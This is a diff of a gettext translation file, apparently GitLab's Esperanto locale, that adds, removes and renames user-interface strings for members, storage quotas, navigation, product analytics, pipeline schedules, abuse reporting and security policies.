@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr "Nova dosierujo"
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr "Ĉiuj"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr "MalÅaltitaj"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr "Entajpu mallongan priskribon pri ĉi tiu ĉenstablo"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Neniam"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
